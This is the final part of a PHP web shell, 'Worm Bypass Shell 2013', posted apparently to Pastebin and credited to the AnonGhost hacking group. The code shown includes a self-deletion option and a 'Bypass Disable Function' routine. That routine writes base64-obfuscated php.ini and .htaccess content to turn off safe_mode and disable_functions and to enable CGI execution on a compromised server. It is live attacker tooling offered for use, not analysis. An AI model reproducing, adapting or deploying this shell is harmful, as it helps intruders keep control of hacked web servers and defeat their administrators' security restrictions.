  1144.             echo '
  1145. <br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Sekilas Info</font></b><br><br><br><br><center>
  1146. <center>
  1147.  ' . base64_decode("PGltZyBzcmM9Imh0dHA6Ly9pOTUyLnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvYWUxL3ZpcnVzYXdvcm0vbGcxX3pwc2E4OWU1MjEyLmpwZyIgLz4=") . '
  1148. <br><br><font color="#006600" size="1pt">Coded by </font><font  color="#00aa00" size="1pt">Virusa Worm</font><br><br><br><br><font color="#00aa00" size="1pt">Worm Bypass </font><font face="Tahoma" color="#b3b3b3" size="1pt">Shell 2013</font> <font color="#006600" size="1pt">include Several script which has recoded to make this shell.</font><br><br><font color="#006600" size="1pt">so.. try to figure it out if this shell not work in different server, and use ur brain.<br>learn to figure it out about something it\'s make be better.<br><br><font color="#b0b000" size="1pt">"</font>tools not make hacker, but try to learn about tools. tried to find out why it\'s tool works. it\'s will be better than nothing.. <font color="#b0b000" size="1pt">"</font><br><br><br><font color="#006600" size="1pt">Special thankz to : </font><br><font color="#009900" size="1pt">My best Brother Mauritania Attacker<br><br><font color="#006600" size="1pt">thankz to : </font><br>
  1149. All Members AnonGhost Team - Tanpa Bicara - Maniak k4Sur </font><font color="#006600" size="1pt">[pasangan galo.. lol..]</font><br><br>Greetz to :</font><br><font color="#b0b000" size="1pt">AnonGhost - Mauritania HaCker Team - X-Blackerz INC - ZHC </font><font color="#006600" size="1pt"></center>
  1150. ';
  1151.             break;
  1152.         case 'mati':
  1153.             echo '
  1154. <br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Suicide</font></b><br><br><center>'; {
  1155.                 echo '<center><font color="#c00000"><b>Do you really want to delete this shell ?</b></font></center><br>';
  1156. ?>
  1157. <b class="cone" align="center"><a href="?action=mateni">Yes</a> </b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1158. <b class="cone" align="center"><a href="<?php echo $_SERVER['PHP_SELF']; ?>">No</a></b>
  1159. <?php
  1160.             }
  1161.             if ($action == "mateni") {
  1162.                 $file = $_SERVER['PHP_SELF'];
  1163.                 $file = str_replace('/', '', $file);
  1164.                 unlink($file);
  1165.                 echo '<center><font color="#c00000">Bitch u killed me..!</font></center>';
  1166.                 header('refresh: 2; ' . $_SERVER['PHP_SELF'] . '');
  1167.             }
  1168.             break;
  1169.             /// logout ///
  1170.            
  1171.         case 'metu':
  1172.             unset($_SESSION['login']);
  1173.             echo "<meta http-equiv='refresh' content='0; url=?" . $pwd . "' />";
  1174.             echo '<center><font color="#006600">Logout out.</font></center>';
  1175.             break;
  1176.         default:
  1177.             header("Location: $pg");
  1178.         }
  1179.         /// home ///
  1180.        
  1181.     } else {
  1182.         if ($_POST['pateni'] == 'sikat') {
  1183.             @error_reporting(0);
  1184.             $phpini = 'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
  1185.             $file = fopen("php.ini", "w+");
  1186.             $write = fwrite($file, base64_decode($phpini));
  1187.             fclose($file);
  1188.             $htaccess = 'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
  1189.             $file = fopen(".htaccess", "w+");
  1190.             $write = fwrite($file, base64_decode($htaccess));
  1191.             echo '<br><br><br><font face="Tahoma" color="#006600" size="3pt"><b>Bypassed !</b>';
  1192.             exit;
  1193.         }
  1194.         echo '
  1195. <br><center><font face="Tahoma" color="#006600" size="2pt"><b>Disable Function :
  1196. <form method="POST">
  1197. <input name="pateni" type="hidden" value="sikat">';
  1198.         if ('' == ($func = @ini_get('disable_functions'))) {
  1199.             echo "<font color=#00aa00>No Security for Function</font>";
  1200.         } else {
  1201.             echo '<font color=#d0d000>[ <blink>Please Bypass First!</blink> ]</font><br>';
  1202.             echo "<font color=red>$func</font>";
  1203.             echo '<br><br><input type="submit" value="Bypass Disable Function">';
  1204.         }
  1205.         echo '</b></font></center>';
  1206.         echo '<br><center>
  1207.  ' . base64_decode("PGltZyBzcmM9Imh0dHA6Ly9pOTUyLnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvYWUxL3ZpcnVzYXdvcm0vbGcxX3pwc2E4OWU1MjEyLmpwZyIgLz4=") . '
  1208. <br><br><font face="Tahoma" color="#006600" size="1pt">Coded by </font><font face="Tahoma" color="#00bb00" size="1pt">Virusa Worm</font><br><br><br><br><br><font face="Tahoma" color="#006600" size="1pt">Special Thankz to :</font><br><font face="Tahoma" color="#00bb00" size="1pt">My best Brother Mauritania Attacker</font><br><br><br><font face="Tahoma" color="#006600" size="1pt">Greetz to : </font><br><font face="Tahoma" color="#00bb00" size="1pt">All Members AnonGhost Team <br>Tanpa Bicara and Maniak k4Sur </font><font color="#006600" size="1pt">[pasangan galo.. lol..]</font></center>';
  1209.     }
  1210.     function ex($text, $a, $b) {
  1211.         $explode = explode($a, $text);
  1212.         $explode = explode($b, $explode[1]);
  1213.         return $explode[0];
  1214.     }
  1215.     echo '</div>
  1216.  
  1217. <footer id="det" style="position:fixed; left:0px; right:0px; bottom:0px; background:rgb(21,21,21); text-align:center; border-top: 1px solid #009900; border-bottom: 1px solid #009900"><font color=#009900 size=1 face="Tahoma">' . base64_decode("JmNvcHk7IFdvcm0gQnlwYXNzIFNoZWxsIDIwMTM=") . '</font></footer>
  1218.  
  1219.  
  1220.  
  1221. </body>
  1222.  
  1223. </html>
  1224. ';
  1225. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!